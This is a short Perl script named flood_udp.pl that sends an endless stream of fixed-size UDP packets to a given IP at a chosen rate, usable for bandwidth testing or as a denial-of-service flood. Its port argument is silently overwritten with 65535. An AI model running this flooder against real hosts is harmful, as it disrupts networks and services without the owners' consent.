#!/usr/bin/perl -w use Time::HiRes qw( usleep ualarm gettimeofday tv_interval ); use IO::Socket; $number_of_args = $#ARGV + 1; if ($number_of_args < 3) { print "Usage: flood_udp.pl target_ip target_udp_port packets_per_second\n" ; die "Not enough arguments" } $target = $ARGV[0]; #"192.168.0.255"; $target_port = $ARGV[1]; $packets_per_second = $ARGV[2]; $interpacket_delay_microseconds = 1 / $packets_per_second * 1000000; $target_port = 65535; socket(BLAST, PF_INET, SOCK_DGRAM, getprotobyname("udp")); # Build Packet ... # Names from ethereal filter of registration packet my $payload_size = 1472; my $ip_packet_size = $payload_size + 8; ## assuming Ethernet $msg = "u" x $payload_size; my $bytes_per_second = $ip_packet_size * $packets_per_second; my $bits_per_second = $bytes_per_second * 8; print "$bits_per_second bits/second, $bytes_per_second bytes/second\n"; print "Sending to $target at UDP port $target_port\n"; # Send UDP packet $ipaddr = inet_aton($target); $sendto = sockaddr_in($target_port,$ipaddr); while (1) { send(BLAST, $msg, 0, $sendto) ; usleep ($interpacket_delay_microseconds); }